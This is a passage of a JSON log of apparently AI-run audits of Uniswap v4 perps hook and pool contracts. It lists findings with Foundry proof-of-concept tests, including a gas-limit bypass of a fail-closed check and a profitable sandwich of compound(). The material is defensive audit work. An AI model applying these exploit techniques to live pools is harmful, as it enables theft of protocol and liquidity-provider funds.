PM = IPoolManager(address(new PoolManager(address(this))));\n        IMD6900PerpsLaunch l = new IMD6900PerpsLaunch(PM, 10_000, OWNER, OWNER);\n        hook = l.hook();\n        pool = l.pool();\n        coin = new ScratchCoin();\n        ScratchCurve curve = new ScratchCurve(address(coin), 1 ether, 1e27);\n        coin.mint(OWNER, 2e27);\n        vm.deal(OWNER, 10 ether);\n        vm.startPrank(OWNER);\n        coin.approve(address(pool), type(uint256).max);\n        pool.open{value: 2 ether}(address(coin), address(curve), _sqrt(1e9) << 96, 2e27);\n        hook.setPerpEngine(address(new ScratchBrokenEngine()));\n        vm.stopPrank();\n        trader = new ScratchTrader(PM);\n        vm.deal(address(trader), 10 ether);\n    }\n\n    function test_FailClosedHoldsWithPlentyOfGas() public {\n        PoolKey memory k = pool.poolKey();\n        vm.expectRevert(); // SweepUnavailable, wrapped by the PoolManager\n        trader.swap{gas: 3_000_000}(k, true, -0.01 ether);\n    }\n\n    function test_FailClosedMustAlsoHoldWithLittleGas() public {\n        PoolKey memory k = pool.poolKey();\n        assertFalse(hook.sweepFailOpen(), \"the owner never opened the escape hatch\");\n        // gasleft() inside _beforeSwap is below SWEEP_GAS_RESERVE + 2 * SWEEP_GAS_MIN (980_000), so _sweep takes the\n        // openCount() branch; the broken engine's staticcall fails and the branch lets the trade run unswept.\n        vm.expectRevert();\n        trader.swap{gas: 700_000}(k, true, -0.01 ether);\n    }\n\n    function _sqrt(uint256 x) internal pure returns (uint160 z) {\n        uint256 r = x;\n        uint256 y = (x + 1) / 2;\n        while (y < r) {\n            r = y;\n            y = (x / y + y) / 2;\n        }\n        z = uint160(r);\n    }\n}","reproduction":"State: the offline fixture (real v4 PoolManager, launch with (PM, 10000, OWNER, OWNER), pool opened by OWNER with 2 ETH + 2e27 coin at 1e9 coin/ETH), then OWNER calls hook.setPerpEngine(address(new BrokenEngine())) with the repository's own BrokenEngine (fallback reverts 'broken'); sweepFailOpen stays false. Call 1: trader.swap{gas: 3_000_000}(key, zeroForOne=true, amountSpecified=-0.01 ether). Expected and actual: reverts (SweepUnavailable wrapped by the PoolManager). Call 2: the identical swap with {gas: 700_000}. Expected: reverts the same way (the engine is still unavailable and the owner never set sweepFailOpen). Actual: the swap executes and settles; gasleft() inside _beforeSwap is below 980_000, so _sweep takes the else-if branch, the staticcall to openCount() fails, line 461 is false, and no revert happens. test/scratch/SweepLowGasFailsOpen.t.sol: test_FailClosedHoldsWithPlentyOfGas passes, test_FailClosedMustAlsoHoldWithLittleGas fails with 'next call did not revert as expected'.","severity":"medium","snippet":"        } else if (spec != 0) {\n            // too little gas to sweep: refuse the trade while positions are open, rather than trade blind (MiFrens R1C)\n            (bool ok, bytes memory ret) = engine.staticcall(abi.encodeCall(IPerpSweep.openCount, ()));\n            if (ok && ret.length >= 32 && abi.decode(ret, (uint256)) != 0) revert SweepGasStarved();\n        }","title":"Pre-trade sweep fails open when the trader supplies little gas: the fail-closed guarantee is bypassable by gas limit"},{"citation":"resolved","description":"Branch/variant asymmetry between the two ways capital enters the pool at the pool's price. Swaps are held to the Pons reference: afterSwap refuses any trade that leaves the pool more than maxDeviationBps from Pons unless it moves closer (IMD6900PerpHook._checkBand). compound() (src/IMD6900PerpPool.sol:165-175) reads the pool's current sqrtPrice (line 170) and commits ALL of the pool's pending ETH and coin as full-range liquidity at that price (line 171-173), is callable by anyone, and performs no deviation check against ponsPriceX96 at all; its two parameters only bound the holdings, not the price. The pending balances are protocol capital: the fee share the Pons launcher pays the pool (Owner.s.sol wire: 10% of creator fees), the coin released into the pool, and the position fees collected on every addLiquidity. A trader therefore chooses the price at which the protocol compounds: push the pool price toward the edge of the band, call compound(0, 0) so the pool pairs its reserves at the pushed price, then swap back against the deeper book. The profit is the mispricing of the newly committed liquidity, less two 1% fees (which also go to the position, but that does not undo the loss). Measured on the fixture with 2 ETH / 2e27 coin of depth and 2 ETH / 2e27 coin pending: a 0.37 ETH push reaches 2856 bps deviation (inside the 3000 bps band), compound runs, the sell-back returns 0.3907 ETH: trader +0.0207 ETH, pool -0.0207 ETH, repeatable each time pending accumulates. Profit by push size (deviation at compound -> trader PnL): 195 bps -> -0.0003 ETH, 477 bps -> -0.0004 ETH, 921 bps -> +0.0003 ETH, 1720 bps -> +0.0049 ETH, 2419 bps -> +0.0131 ETH, 2856 bps -> +0.0207 ETH. Break-even is roughly 5-9% deviation with pending equal to depth, so gating compound on the existing 30% band would not close it. The same round trip without compound loses the trader both fees (test_SameRoundTripWithoutCompoundLosesTheFees). Seam (access x asymmetry x economics): a permissionless rebalance of protocol funds with weaker manipulation guards than the user path it mirrors (the Beefy pattern in the Asymmetry guide). Minimal fix preserving the design (anyone may still compound): refuse compound when the Pons reference is readable and the pool's deviation from it exceeds a tight tolerance (a few hundred bps, well under the break-even above), and when the reference is unreadable allow only the owner; alternatively compute the pairing from the Pons price rather than the spot price, or make compound onlyOwner with a minimum-liquidity argument.","line":170,"path":"src/IMD6900PerpPool.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {IPoolManager} from \"@uniswap/v4-core/src/interfaces/IPoolManager.sol\";\nimport {PoolKey} from \"@uniswap/v4-core/src/types/PoolKey.sol\";\nimport {Currency} from \"@uniswap/v4-core/src/types/Currency.sol\";\nimport {BalanceDelta} from \"@uniswap/v4-core/src/types/BalanceDelta.sol\";\nimport {SwapParams} from \"@uniswap/v4-core/src/types/PoolOperation.sol\";\nimport {TickMath} from \"@uniswap/v4-core/src/libraries/TickMath.sol\";\nimport {PoolManager} from \"@uniswap/v4-core/src/PoolManager.sol\";\nimport {IMD6900PerpsLaunch} from \"src/IMD6900PerpsLaunch.sol\";\nimport {IMD6900PerpHook} from \"src/IMD6900PerpHook.sol\";\nimport {IMD6900PerpPool} from \"src/IMD6900PerpPool.sol\";\n\ncontract ScratchCoin {\n    mapping(address => uint256) public balanceOf;\n    mapping(address => mapping(address => uint256)) public allowance;\n\n    function mint(address to, uint256 a) external {\n        balanceOf[to] += a;\n    }\n\n    function approve(address s, uint256 a) external returns (bool) {\n        allowance[msg.sender][s] = a;\n        return true;\n    }\n\n    function transfer(address to, uint256 a) external returns (bool) {\n        balanceOf[msg.sender] -= a;\n        balanceOf[to] += a;\n        return true;\n    }\n\n    function transferFrom(address f, address to, uint256 a) external returns (bool) {\n        if (allowance[f][msg.sender] != type(uint256).max) allowance[f][msg.sender] -= a;\n        balanceOf[f] -= a;\n        balanceOf[to] += a;\n        return true;\n    }\n}\n\ncontract ScratchCurve {\n    uint256 public q;\n    uint256 public t;\n    address public token;\n\n    constructor(address token_, uint256 q_, uint256 t_) {\n        token = token_;\n        q = q_;\n        t = t_;\n    }\n\n    function getReserves() external view returns (uint256, uint256) {\n        return (q, t);\n    }\n\n    function graduated() external pure returns (bool) {\n        return false;\n    }\n\n    function pairToken() external pure returns (address) {\n        return address(0);\n    }\n\n    function factory() external pure returns (address) {\n        return address(0);\n    }\n}\n\ncontract ScratchTrader {\n    IPoolManager immutable pm;\n    PoolKey key;\n\n    constructor(IPoolManager pm_) {\n        pm = pm_;\n    }\n\n    function swap(PoolKey calldata k, bool buy, int256 amountSpecified) external payable returns (BalanceDelta d) {\n        key = k;\n        d = abi.decode(pm.unlock(abi.encode(buy, amountSpecified)), (BalanceDelta));\n    }\n\n    function unlockCallback(bytes calldata data) external returns (bytes memory) {\n        (bool buy, int256 amt) = abi.decode(data, (bool, int256));\n        BalanceDelta d =\n            pm.swap(key, SwapParams(buy, amt, buy ? TickMath.MIN_SQRT_PRICE + 1 : TickMath.MAX_SQRT_PRICE - 1), \"\");\n        _settle(key.currency0, d.amount0());\n        _settle(key.currency1, d.amount1());\n        return abi.encode(d);\n    }\n\n    function _settle(Currency c, int128 v) internal {\n        if (v < 0) {\n            if (c.isAddressZero()) {\n                pm.settle{value: uint128(-v)}();\n            } else {\n                pm.sync(c);\n                ScratchCoin(Currency.unwrap(c)).transfer(address(pm), uint128(-v));\n                pm.settle();\n            }\n        } else if (v > 0) {\n            pm.take(c, address(this), uint128(v));\n        }\n    }\n\n    receive() external payable {}\n}\n\n/// compound() commits the pool's own pending ETH and coin at the pool's spot price, is callable by anyone, and runs no\n/// band check (swaps are held within maxDeviationBps of Pons; compound is not). A trader pushes the price to the edge\n/// of the band, compounds, and swaps back against the deeper book: the pool pairs its reserves at the pushed price and\n/// the trader leaves with more ETH than they came with.\ncontract CompoundSandwichTest is Test {\n    IPoolManager PM;\n    address constant OWNER = address(0xA11CE);\n    IMD6900PerpHook hook;\n    IMD6900PerpPool pool;\n    ScratchCoin coin;\n    ScratchTrader trader;\n\n    function setUp() public {\n        PM = IPoolManager(address(new PoolManager(address(this))));\n        IMD6900PerpsLaunch l = new IMD6900PerpsLaunch(PM, 10_000, OWNER, OWNER);\n        hook = l.hook();\n        pool = l.pool();\n        coin = new ScratchCoin();\n        ScratchCurve curve = new ScratchCurve(address(coin), 1 ether, 1e27);\n        coin.mint(OWNER, 2e27);\n        vm.deal(OWNER, 10 ether);\n        vm.startPrank(OWNER);\n        coin.approve(address(pool), type(uint256).max);\n        pool.open{value: 2 ether}(address(coin), address(curve), _sqrt(1e9) << 96, 2e27);\n        vm.stopPrank();\n        // what the fee split and the launcher's release leave sitting in the pool for compound()\n        vm.deal(address(pool), 2 ether);\n        coin.mint(address(pool), 2e27);\n        trader = new ScratchTrader(PM);\n        vm.deal(address(trader), 10 ether);\n    }\n\n    /// Fails on the code as it is: the trader ends with more ETH than they started with. Passes once compound()\n    /// no longer commits the pool's capital at a price a stranger pushed (a band check against Pons, or owner-only):\n    /// the compound call is sent as a plain call whose revert is ignored, so a refused compound leaves the trader\n    /// with the ordinary round-trip loss of two 1% fees.\n    function test_AnyoneSandwichesCompoundAndLeavesWithMoreEth() public {\n        PoolKey memory k = pool.poolKey();\n        uint256 ethBefore = address(trader).balance;\n        (uint256 pendEth0, uint256 pendTok0) = pool.pending();\n\n        // 1. push the price to the edge of the band (30%): a 0.37 ETH buy into 2 ETH of depth\n        BalanceDelta d = trader.swap(k, true, -0.37 ether);\n        uint256 got = uint256(uint128(d.amount1()));\n        uint256 devPushed = hook.deviationBps();\n        assertGt(devPushed, 2_500, \"well off the Pons price\");\n        assertLe(devPushed, hook.maxDeviationBps(), \"but inside the band, so the swap went through\");\n\n        // 2. compound at the pushed price: the pool pairs its own ETH and coin here, with no band check\n        (bool compounded,) = address(pool).call(abi.encodeCall(pool.compound, (0, 0)));\n\n        // 3. sell everything back against the (now deeper) book\n        trader.swap(k, false, -int256(got));\n        uint256 ethAfter = address(trader).balance;\n\n        emit log_named_string(\"compound ran\", compounded ? \"yes\" : \"no (refused)\");\n        emit log_named_decimal_uint(\"trader ETH in\", 0.37 ether, 18);\n        emit log_named_decimal_uint(\"trader ETH out\", ethAfter - (ethBefore - 0.37 ether), 18);\n        emit log_named_decimal_uint(\"pending ETH before\", pendEth0, 18);\n        emit log_named_decimal_uint(\"pending coin before\", pendTok0, 18);\n        emit log_named_uint(\"deviation at compound, bps\", devPushed);\n        assertLe(ethAfter, ethBefore, \"a stranger must not be paid out of the pool's own capital by compound()\");\n    }\n\n    /// The same round trip without compound() in the middle loses the trader both fees: the profit above is paid by the\n    /// liquidity compound() committed at the manipulated price.\n    function test_SameRoundTripWithoutCompoundLosesTheFees() public {\n        PoolKey memory k = pool.poolKey();\n        uint256 ethBefore = address(trader).balance;\n        BalanceDelta d = trader.swap(k, true, -0.37 ether);\n        trader.swap(k, false, -int256(d.amount1()));\n        assertLt(address(trader).balance, ethBefore);\n    }\n\n    function _sqrt(uint256 x) internal pure returns (uint160 z) {\n        uint256 r = x;\n        uint256 y = (x + 1) / 2;\n        while (y < r) {\n            r = y;\n            y = (x / y + y) / 2;\n        }\n        z = uint160(r);\n    }\n}","reproduction":"State: offline fixture (real v4 PoolManager; launch(PM, 10000, OWNER, OWNER); OWNER opens the pool with 2 ETH + 2e27 coin at 1e9 coin/ETH with the Pons curve at the same price); the pool then holds 2 ETH and 2e27 coin pending (vm.deal / mint to the pool, standing in for the launcher's fee share and release). An unprivileged Trader contract holds 10 ETH. 1. trader.swap(key, zeroForOne=true, amountSpecified=-0.37 ether): executes (deviation after = 2856 bps <= maxDeviationBps 3000), trader receives d.amount1() coin. 2. anyone calls pool.compound(0, 0): executes, liquidity increases, pairing the pool's ETH and coin at the pushed price. 3. trader.swap(key, zeroForOne=false, amountSpecified=-d.amount1()): sells everything back. Expected: a stranger's round trip cannot end with more ETH than it started with (the pool's capital should not be committed at a price a stranger chose); trader balance <= 10 ETH. Actual: trader balance = 10.020665287112279644 ETH (+0.0207 ETH), the pool's position is worth that much less. test/scratch/CompoundSandwich.t.sol: test_AnyoneSandwichesCompoundAndLeavesWithMoreEth fails with '10020665287112279644 > 10000000000000000000'; the compound call is made as a plain call whose revert is ignored, so the test passes once compound refuses or is restricted.","severity":"medium","snippet":"    function compound(uint256 minEth, uint256 minTokens) external nonReentrant returns (uint128 liq) {\n        if (token == address(0)) revert NotOpen();\n        uint256 ethHave = address(this).balance;\n        uint256 tokensHave = SafeTransferLib.balanceOf(token, address(this));\n        if (ethHave < minEth || tokensHave < minTokens) revert ZeroLiquidity();\n        (uint160 sqrtPriceX96,,,) = poolManager.getSlot0(poolKey().toId());\n        liq = _fullRangeLiquidity(sqrtPriceX96, ethHave, tokensHave);\n        if (liq == 0) revert ZeroLiquidity();","title":"compound() is permissionless and commits the pool's own capital at the spot price with no price check: sandwichable inside the band for a profit paid by the pool"},{"citation":"resolved","description":"Storage-variable lifecycle asymmetry: `skimBps` (src/IMD6900PerpHook.sol:133, default 9_000) has one writer, setSkim (line 238), and no reader anywhere in src/ (grep: the only occurrences are the declaration, the setter and its event). The hook charges nothing itself (beforeSwap returns a zero delta and fee override 0; afterSwap returns 0), so the behaviour the variable documents ('How hard the fee rises with the pool's distance from the Pons price... 9000 means a 10% gap adds 9% to the fee', and setSkim's 'How much of an arbitrageur's profit this pool keeps') cannot happen. IMD6900PerpPool.compound's NatSpec ('the coin the hook skimmed from arbitrageurs') describes an inflow that never occurs; `FeeTaken` is never emitted and `ExactOutSellUnsupported` is never raised for the same reason. No funds are at risk, but the owner (and the engine, which per the header reads the hook's fee parameters to model solvency) gets a setter and an event that claim to change the protocol's take on mispriced trades while changing nothing, and the InvalidSkim bound on skimBps_ is validation of a dead value. Fix: either remove skimBps, its bound, its half of SkimSet and the stale NatSpec (keep maxDeviationBps and its setter), or implement the skim the documentation promises (which would require a return-delta or dynamic-fee flag, and the brief forbids changing the flags, so removal is the fix consistent with the brief).","line":238,"path":"src/IMD6900PerpHook.sol","reproduction":"State: offline fixture, pool opened at 1e9 coin/ETH; mock the Pons curve's getReserves() to (1 ether, 8e26) so the pool is ~25% off Pons (deviationBps() > 2000). OWNER calls hook.setSkim(0, 3000); trader swaps 0.05 ETH for coin: receives 48302091981458894417893856 coin. Revert state; OWNER calls hook.setSkim(10_000, 3000) (skimBps() == 10_000); the same swap receives 48302091981458894417893856 coin. Expected per the NatSpec: a 25% gap with a 100% skim adds a large fee, so the second output is materially smaller. Actual: identical outputs; skimBps has no effect on any path. test/scratch/SkimIsDead.t.sol test_SkimHasNoEffectOnAMispricedPool passes, demonstrating the equality.","severity":"low","snippet":"    function setSkim(uint256 skimBps_, uint256 maxDeviationBps_) external onlyOwner {\n        if (skimBps_ > BPS || maxDeviationBps_ == 0) revert InvalidSkim();\n        skimBps = skimBps_;\n        maxDeviationBps = maxDeviationBps_;\n        emit SkimSet(skimBps_, maxDeviationBps_);\n    }","title":"skimBps is written by setSkim and never read: the documented skim does not exist, and compound's NatSpec describes coin it never receives"}],"hash":"949464f9113730d3650b713511e5bf06e3de64296cac3bfdae3e24ff44e8a8f8","nodeId":"957b4231-e490-4d15-a358-010bd28281cd","outcome":"completed","summary":"Review complete. The findings file is in place and the working tree is otherwise untouched.\n\n**What I audited.** The permission model, trust gaps and asymmetries of `IMD6900PerpsLaunch`, `IMD6900PerpHook` and `IMD6900PerpPool`, checked against the Pashov Access Control, Trust Gap and Asymmetry guides, with every one of the 40 listed entry points traced. The launch itself holds: the pool is born owned by the launch, wired to the mined hook, then handed to the stated owner, with nothing pre-existing called. The owner's full-liquidity exit holds on every path I traced.\n\n**Findings written to .imd-findings.json** (3 findings, 43 coverage rows):\n\n- **Medium, hook `_sweep` low-gas branch fails open.** With plenty of gas an unavailable engine refuses the trade unless the owner set `sweepFailOpen`. With under about 980k gas the same engine is tolerated because a failed `openCount()` read counts as \"no positions\". Any trader bypasses fail-closed by choosing their gas limit. Proof test attached: passes at 3M gas, fails at 700k gas on the current code.\n- **Medium, `compound()` is sandwichable.** It is permissionless, commits all of the pool's pending ETH and coin at the spot price, and has no Pons deviation check, unlike swaps. A trader pushes the price to 28.6% off Pons, compounds, and sells back for a measured gain of 0.0207 ETH paid by the pool. Break-even is roughly 5–9% deviation, so gating on the existing 30% band would not close it. Proof test attached.\n- **Low, `skimBps` is dead config.** Written by `setSkim`, read by nothing. The documented distance-based skim does not exist, and the output of a swap on a 25% mispriced pool is identical at skim 0 and skim 100%.\n\n**Not reported.** Static-analysis leads on `flush`, zero checks, strict equalities and constructor reentrancy all traced to admin-only or harmless paths. Owner powers such as renouncing ownership or exempting a router from the band are recorded as trust assumptions in the coverage rows, not defects.\n\n**Coverage gap.** I could not verify offline that the Pons launcher the owner's script sets as fee sink exposes a payable `addFees()`; if it does not, `flush` would revert and only stray ETH in the hook would be stuck. That is noted here, not filed, since it is unsubstantiated.","treeHash":null,"usage":{"cachedInputTokens":1356359,"inputTokens":354,"model":"claude-fable-5-1","outputTokens":54707,"runtime":"claude","turns":37,"wallClockMs":752100}},{"artifacts":[],"attempt":1,"bundleHash":"dbfd0023b3a0298f83885a2d6c7efcec7fbdee3fa08bfeb3a74e2e17d633fd7d","device":"6de2de551e41049f","findings":[{"description":"The low-gas pre-trade branch only rejects a successful openCount response reporting a nonzero count. A revert or response shorter than 32 bytes silently allows the swap, even when sweepFailOpen is false. A caller can choose its gas allowance to enter this branch instead of the high-gas branch, which correctly rejects an unavailable engine. Consequently, an engine outage can allow unswept price-changing swaps without the owner enabling the escape hatch. The proof demonstrates the policy bypass; the external perps engine and any resulting bad debt are outside this repository. An unreadable count should not establish an empty book: apply the unavailable-engine policy or reject unless a valid zero count is obtained.","line":460,"path":"src/IMD6900PerpHook.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {IMD6900PerpsLaunch} from \"src/IMD6900PerpsLaunch.sol\";\nimport {IMD6900PerpPool} from \"src/IMD6900PerpPool.sol\";\nimport {IMD6900PerpHook} from \"src/IMD6900PerpHook.sol\";\nimport {PoolManager} from \"@uniswap/v4-core/src/PoolManager.sol\";\nimport {IPoolManager} from \"@uniswap/v4-core/src/interfaces/IPoolManager.sol\";\nimport {IHooks} from \"@uniswap/v4-core/src/interfaces/IHooks.sol\";\nimport {PoolKey} from \"@uniswap/v4-core/src/types/PoolKey.sol\";\nimport {Currency} from \"@uniswap/v4-core/src/types/Currency.sol\";\nimport {BalanceDelta} from \"@uniswap/v4-core/src/types/BalanceDelta.sol\";\nimport {SwapParams} from \"@uniswap/v4-core/src/types/PoolOperation.sol\";\nimport {TickMath} from \"@uniswap/v4-core/src/libraries/TickMath.sol\";\nimport {Hooks} from \"@uniswap/v4-core/src/libraries/Hooks.sol\";\nimport {CustomRevert} from \"@uniswap/v4-core/src/libraries/CustomRevert.sol\";\n\ncontract SweepProofCoin {\n    mapping(address => uint256) public balanceOf;\n    mapping(address => mapping(address => uint256)) public allowance;\n    function mint(address to, uint256 amount) external { balanceOf[to] += amount; }\n    function approve(address spender, uint256 amount) external returns (bool) {\n        allowance[msg.sender][spender] = amount;\n        return true;\n    }\n    function transfer(address to, uint256 amount) external returns (bool) {\n        balanceOf[msg.sender] -= amount;\n        balanceOf[to] += amount;\n        return true;\n    }\n    function transferFrom(address from, address to, uint256 amount) external returns (bool) {\n        allowance[from][msg.sender] -= amount;\n        balanceOf[from] -= amount;\n        balanceOf[to] += amount;\n        return true;\n    }\n}\n\ncontract SweepProofCurve {\n    function graduated() external pure returns (bool) { return false; }\n    function getReserves() external pure returns (uint256, uint256) { return (1 ether, 1 ether); }\n}\n\n// Models an engine outage, not an engine exemption or an empty book.\ncontract SweepProofUnavailableEngine {\n    uint256 public activePositions = 1;\n    function openCount() external pure returns (uint256) { revert(\"book unavailable\"); }\n    function sweepLiquidations(address, int256, bool, uint160) external pure returns (uint8) {\n        revert(\"sweep unavailable\");\n    }\n}\n\ncontract SweepProofRouter {\n    IPoolManager private immutable pm;\n    PoolKey private key;\n    constructor(IPoolManager pm_) { pm = pm_; }\n    function buy(PoolKey calldata key_) external returns (BalanceDelta) {\n        key = key_;\n        return abi.decode(pm.unlock(\"\"), (BalanceDelta));\n    }\n    function unlockCallback(bytes calldata) external returns (bytes memory) {\n        require(msg.sender == address(pm));\n        BalanceDelta delta = pm.swap(key, SwapParams(true, -int256(0.01 ether), TickMath.MIN_SQRT_PRICE + 1), \"\");\n        pm.settle{value: uint128(-delta.amount0())}();\n        pm.take(key.currency1, address(this), uint128(delta.amount1()));\n        return abi.encode(delta);\n    }\n    receive() external payable {}\n}\n\ncontract LowGasSweepProof is Test {\n    address constant OWNER = 0x35dA9C0303507ddf708E87F2568EdDf12c47a059;\n\n    function test_UnreadableEngineMustFailClosedRegardlessOfCallerGas() public {\n        IPoolManager pm = IPoolManager(address(new PoolManager(address(this))));\n        IMD6900PerpsLaunch launch = new IMD6900PerpsLaunch(pm, 10_000, OWNER, OWNER);\n        IMD6900PerpPool pool = launch.pool();\n        IMD6900PerpHook hook = launch.hook();\n        SweepProofCoin coin = new SweepProofCoin();\n        SweepProofCurve curve = new SweepProofCurve();\n        SweepProofUnavailableEngine engine = new SweepProofUnavailableEngine();\n        SweepProofRouter router = new SweepProofRouter(pm);\n        vm.deal(OWNER, 2 ether);\n        coin.mint(OWNER, 2 ether);\n        vm.startPrank(OWNER);\n        coin.approve(address(pool), 2 ether);\n        pool.open{value: 2 ether}(address(coin), address(curve), uint160(1 << 96), 2 ether);\n        hook.setPerpEngine(address(engine));\n        vm.stopPrank();\n        vm.deal(address(router), 1 ether);\n        assertEq(engine.activePositions(), 1);\n        assertFalse(hook.sweepFailOpen());\n        assertTrue(hook.tracksPons(address(router)));\n        PoolKey memory key = pool.poolKey();\n\n        // Control: with enough gas, the engine outage blocks the pre-trade sweep as documented.\n        vm.expectRevert(abi.encodeWithSelector(\n            CustomRevert.WrappedError.selector, address(hook), IHooks.beforeSwap.selector,\n            abi.encodeWithSelector(IMD6900PerpHook.SweepUnavailable.selector),\n            abi.encodeWithSelector(Hooks.HookCallFailed.selector)\n        ));\n        router.buy{gas: 3_000_000}(key);\n        uint256 beforePrice = hook.poolPriceX96();\n        uint256 beforeEth = address(router).balance;\n\n        // Same engine, same pool, same trade, same owner policy; only caller-supplied gas differs.\n        (bool success,) = address(router).call{gas: 700_000}(abi.encodeCall(router.buy, (key)));\n        assertFalse(success, \"low gas bypassed unavailable engine while sweepFailOpen is false\");\n        assertEq(hook.poolPriceX96(), beforePrice);\n        assertEq(address(router).balance, beforeEth);\n        assertEq(coin.balanceOf(address(router)), 0);\n    }\n}","reproduction":"Run the enclosed self-contained file as test/scratch/LowGasSweepProof.t.sol with forge test --offline --match-path test/scratch/LowGasSweepProof.t.sol -vvv. It deploys the real local v4 PoolManager and launch with fee 10000 and the specified owner/fee recipient, opens a 2 ETH / 2 token 1:1 pool, and wires an engine with one modeled active position whose sweep and openCount both revert. With sweepFailOpen == false, a 0.01 ETH buy at 3,000,000 forwarded gas reverts with wrapped SweepUnavailable (control). The identical buy at 700,000 forwarded gas succeeds and settles, so assertFalse(success) fails with \"low gas bypassed unavailable engine while sweepFailOpen is false\". Expected: both transactions reject without changing price or balances. Actual: lowering gas bypasses the mandatory pre-trade check.","severity":"medium","title":"Low-gas swaps bypass the fail-closed sweep policy when openCount is unreadable"},{"description":"_fullRangeLiquidity computes the uncapped ETH-side liquidity with FullMath.mulDiv before considering the token-side limit. Very close to the valid upper full-range price, the ETH-side quotient can exceed uint256 even though the token-limited result fits comfortably in uint128. Increasing a valid deposit's excess ETH therefore turns a successful affordable quote into a revert. This affects open/addLiquidity/compound at extreme prices; ordinary opening-price cases are unaffected and no value loss was demonstrated. Compare the limiting side or use overflow-safe/saturating intermediate arithmetic before taking the minimum.","line":239,"path":"src/IMD6900PerpPool.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {IMD6900PerpPool} from \"src/IMD6900PerpPool.sol\";\nimport {IPoolManager} from \"@uniswap/v4-core/src/interfaces/IPoolManager.sol\";\nimport {TickMath} from \"@uniswap/v4-core/src/libraries/TickMath.sol\";\nimport {SqrtPriceMath} from \"@uniswap/v4-core/src/libraries/SqrtPriceMath.sol\";\n\ncontract SurplusEthQuoteProbe is IMD6900PerpPool {\n    constructor() IMD6900PerpPool(IPoolManager(0x8366a39CC670B4001A1121B8F6A443A643e40951), 10_000,\n        0x35dA9C0303507ddf708E87F2568EdDf12c47a059) {}\n    function quote(uint160 price, uint256 eth, uint256 tokens) external pure returns (uint128) {\n        return _fullRangeLiquidity(price, eth, tokens);\n    }\n}\n\ncontract SurplusEthOverflowProof is Test {\n    function test_ExtraEthMustNotBreakAnAffordableTokenLimitedQuote() public {\n        SurplusEthQuoteProbe probe = new SurplusEthQuoteProbe();\n        uint160 lower = TickMath.getSqrtPriceAtTick(TickMath.minUsableTick(60));\n        uint160 upper = TickMath.getSqrtPriceAtTick(TickMath.maxUsableTick(60));\n        uint160 price = upper - 1;\n        uint256 tokens = 1000 ether;\n        // The control deposit is valid and its returned liquidity is independently affordable in v4.\n        uint128 small = probe.quote(price, 1, tokens);\n        assertGt(small, 0);\n        assertLe(SqrtPriceMath.getAmount0Delta(price, upper, small, true), 1);\n        assertLe(SqrtPriceMath.getAmount1Delta(lower, price, small, true), tokens);\n        // Adding surplus ETH cannot make the same token-limited principal unaffordable.\n        // Actual: FullMath.mulDiv reverts before the function can take min(fromEth, fromTokens).\n        uint128 larger = probe.quote(price, 1 ether, tokens);\n        assertGe(larger, small);\n        assertLe(SqrtPriceMath.getAmount0Delta(price, upper, larger, true), 1 ether);\n        assertLe(SqrtPriceMath.getAmount1Delta(lower, price, larger, true), tokens);\n    }\n}","reproduction":"Run the enclosed file as test/scratch/SurplusEthOverflowProof.t.sol with forge test --offline --match-path test/scratch/SurplusEthOverflowProof.t.sol -vvv. The probe only exposes the actual inherited _fullRangeLiquidity method. At sqrtPriceX96 = TickMath.getSqrtPriceAtTick(TickMath.maxUsableTick(60)) - 1 = 1457652066949847389969617340386294118487833376467 and tokens = 1000 ether, quote(price, 1 wei, tokens) returns liquidity 53. Independent v4 amount math requires exactly 1 wei and 975102250218572518113 token units for that liquidity. Expected: increasing only ETH to 1 ether still yields affordable, nondecreasing liquidity with the same token bound. Actual: quote(price, 1 ether, tokens) reverts in FullMath before comparing fromEth to fromTokens.","severity":"low","title":"Surplus ETH overflows a token-limited liquidity calculation near the upper boundary"}],"hash":"97c36a8a82c72aabf7a679137c6856bbb55f45bbe4959421635da639893eacd8","nodeId":"9cdae2a5-afa7-4aca-b33a-60681b0931e4","outcome":"completed","summary":"Added failure-path, fuzz, and stateful invariant tests.\n\nOffline build passed. Full tests: **83 passed, 0 failed, 1 optional fork test skipped**.\n\n`.imd-findings.json` contains failing proofs for two reproduced defects:\n\n- **Medium:** low-gas swaps bypass unavailable-engine checks.\n- **Low:** surplus ETH overflows liquidity calculations near the upper price boundary.","treeHash":"6918665ef244b591b8ea8dd29551cd105dc2a90f","usage":{"cachedInputTokens":6693504,"inputTokens":157762,"model":"gpt-6-astra","outputTokens":46026,"runtime":"codex","turns":14,"wallClockMs":1383749}},{"artifacts":[],"attempt":1,"bundleHash":null,"device":"f5666f1d1aa75678","findings":[{"citation":"resolved","description":"The brief's stated purpose for FLAGS (no return deltas, no dynamic fee) is that Uniswap's router quotes the pool automatically. The hook's own header (src/IMD6900PerpHook.sol:81-83) records the third condition Uniswap applies: a hook that 'sits at a 0x91… address' is not routed automatically and must be submitted for review (Uniswap's hook routing allowlist page says the same: the routing algorithm picks up hooks automatically unless the hook is deployed to an address starting 0x91… or uses the delta/dynamic-fee flags). _mine accepts the first salt whose CREATE2 address carries the flags in its low 14 bits and never looks at the top byte, so with probability 1/256 the mined hook address begins with 0x91. The hook, the pool's immutable `hook`, and the launch's immutables are all fixed once the constructor returns; the launch cannot be re-run with the same manifest for a different outcome (the deployer's factory address and salt are chosen by the service, not by the author), and the only remedy is a second launch and a second pool. The check is one extra comparison in the mining loop (skip salts whose address has top byte 0x91), at an expected cost of one extra keccak per 256 tries.","line":67,"path":"src/IMD6900PerpsLaunch.sol","reproduction":"Deterministic instance against the repository's solc 0.8.26 build (the artifact compiler recorded in out/IMD6900PerpHook.sol): deploy `new IMD6900PerpsLaunch(0x8366a39CC670B4001A1121B8F6A443A643e40951, 10000, 0x35dA9C0303507ddf708E87F2568EdDf12c47a059, 0x35dA9C0303507ddf708E87F2568EdDf12c47a059)` from EOA 0x0000000000000000000000000000000000001234 at nonce 287 (vm.setNonce(eoa, 287); vm.prank(eoa)). The launch lands at 0x01c769CA44Fa112f708076A3DfB402530e94D255, _mine returns salt 0x1571 and the hook is created at 0x91678D5e417F10A9802FcaC13111cff0606C6AC0: low 14 bits = 0x2AC0 = FLAGS (so the constructor and BaseHook accept it), top byte = 0x91. Expected: the launch avoids an address the router will not pick up, or at least the brief's routing goal is met; actual: the launch succeeds 